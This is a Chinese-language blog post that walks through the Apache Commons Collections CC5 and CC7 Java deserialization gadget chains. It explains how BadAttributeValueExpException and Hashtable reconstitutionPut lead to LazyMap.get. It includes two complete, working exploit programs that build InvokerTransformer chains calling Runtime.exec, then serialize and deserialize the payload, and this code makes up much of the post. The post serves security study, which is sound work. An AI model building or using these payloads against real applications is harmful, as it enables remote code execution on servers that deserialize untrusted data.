CC5 && CC7

CC5 &&CC7

image-20250513163437107

CC5

一.分析

它与之前的区别:调LazyMap.get不同

之前学过CC1AnnotationInvocationHandler.invoke.get

CC6TiedMapEntry.hashCode.getValue.get

现在用toString:

  • TiedMapEntry.toString.getValue.get

    BadAttributeValueExpException它作为入口类

二.不同部分的exp

<2.1>后部分与之前相同

首先,后半段还是像CC1那样

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers={
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
Map lazymap = LazyMap.decorate(map, chainedTransformer);
// lazymap.get(1);

<2.2>TiedMapEntry.toString.get

然后连接TiedMapEntry.toString.getValue.get—->LazyMap.get

TiedMapEntry构造器为pubic,直接传lazymap

image-20250506220723113

1
2
3
4
5
6
7
8
9
10
11
12
   Transformer[] transformers={
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
Map lazymap = LazyMap.decorate(map, chainedTransformer);
// lazymap.get(1);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
// tiedMapEntry.toString();

<2.3>BadAttributeValueExpException

最后就是连接BadAttributeValueExpException.readObject.toString—->TiedMapEntry

image-20250506221407897

image-20250506222652599

反射修改val值

三.最终完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {

public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers={
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
Map lazymap = LazyMap.decorate(map, chainedTransformer);
// lazymap.get(1);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
tiedMapEntry.toString();
Class<BadAttributeValueExpException> c4 =BadAttributeValueExpException.class;
BadAttributeValueExpException bad = c4.newInstance();
Field val = c4.getDeclaredField("val");
val.setAccessible(true);
val.set(bad,tiedMapEntry);//BadAttributeValueExpException它可序列化
serialize(bad);
unserialize("ser.bin");

}


public static void serialize (Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize (String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

CC7

一.分析

流程:HashTable.readObject—>reconstitutionPut—>(LazyMap的父类)AbstractMapDecorator.equals—>(HashMap的父类)AbstractMap.equals—->LazyMap.get()

<1.0>AbstractMap!!!!!

AbstractMap.equals后面可以调lazyMap.get

  • AbstractMap是个抽象类不能直接实例化传参与前面相连,所以注意就要从它的子类下手

  • 还要注意看下面这儿的m是调equals方法时的参数o,它想要是LazyMap(连上后面),那就要注意找到前部分利用类后,调equals时一定传LazyMap

    image-20250511235355271

<1.1>HashTable.readObject入口

接着从入口类看吧

在for循环中调用reconstitutionPut()来绑定key value到table

  • 参数table是new的一个Entry。 key,value反序列化读取的,那么writeObject中肯定就会有序列化

image-20250511141956349

image-20250511161851440

所以key ,value就是由HashTable put添加的


<1.2>reconstitutionPut:

  • tab(一个新建的Entry)中为空进不了for循环就触发不了equals, 没进循环就会绑定key value到tab中

  • 根据上面<1.0>分析AbstractMap,reconstitutionPut中equals(key) key必须为LazyMap

    刚刚也说reconstitutionPut(Table,key,value) 中 key是put添加的,故HashTable要put LazyMap 还得put两次,才能进for循环

image-20250511134843150


<1.3>从前面连接到AbstractMap!!!!!

现在已经分析了入口类和调get方法的AbstractMap.equals

现在问题就是看前面怎么调AbstractMap呢

image-20250511142133932

由于AbstractMap后面连接lazyMap的需求,我们put时传了LazyMap,很巧合的事情就发生了,

e.key会调equals,(e是一个Entry,序列化之后的key,value被绑定到的table) 。也就是说还是put添加的LazyMap调用了equals。

image-20250511214940286

而LazyMap没有equals方法,找它父类AbstractMapDecorator ,里面又调了map.equals方法

map是在LazyMap构造器里面传的HashMap,它也没有equals方法,!它父类就是AbstractMap。

到这儿就能触发lazymap.get了

image-20250511232959404

image-20250511233503343

所以是为了连接后面LazyMap,传参lazyMap,没想到恰好HashTable.reconstutitionPut中e.key,key是一样的类型

(不能通过new它的对象,传进别的类中来调它,就往别的类中传它的子类 实现间接调它)

二.注意的问题

<2.1>put引发的两个问题

1.和CC6一样,会提前消耗LazyMap.equals,所以要先把后面断开

(这里还与reconstitutionPut相似,第一次put的时候,entry为空没有触发equals,第二次put的时候才提前触发)

image-20250512201018109

2 .既然put提前触发了后面调LazyMap.get,那也就和CC6一样还有同样的问题,在LayMap.get方法里面会添加一个key,yy==yy导致真正反序列化的时候并不会触发后面transformer方法了,所以就需要remove了

  • 具体分析:put lazyMap2时提前触发lazyMap1.equals(lazymap2),——->跳到AbstractMap.equals中调lazyMap2.get(key) key是lazyMap1的key yy

image-20250513150426635

<2.2>reconstitutionPut中触发equals

外面的for循环第二次调用reconstitutionPut时会进入for循环,为了不让&&短路,触发equals,要满足

e.hash==hash

  • 分析一下:

    此时tab中只有lazyMap1 ,会进入for循环遍历,将lazyMap1的hash与当前读取到的key的hash比较

  • 那么也表明需要put两个元素,且他们的hash相同

  • key.hashCode()计算LazyMap的key.hashCode

    我们人为设置两个LazyMap的key.hashCode相同 即yy.hashCode==zZ.hashCode

    在第一次调reconstitutionPut时,tab为空没进for循环,将lazyMap1绑定到索引为index的tab中

    等到第二次调reconstitutionPut时,由于索引index计算与hash(即key.hashCode)有关,我们也使得这两次算出的hash相等了,for循环就从刚绑定的lazymap1开始遍历且只遍历一次,

    if中比较e.hash==hash为True

image-20250511221804156

image-20250513154703527

三.最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
lazyMap2.put("zZ", 1);


Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");

Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field iTransformers = chainedTransformerClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);


serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}


CC5 && CC7
https://bxhhf.github.io/2025/05/13/CC5_CC7/
作者
bxhhf
发布于
2025年5月13日
许可协议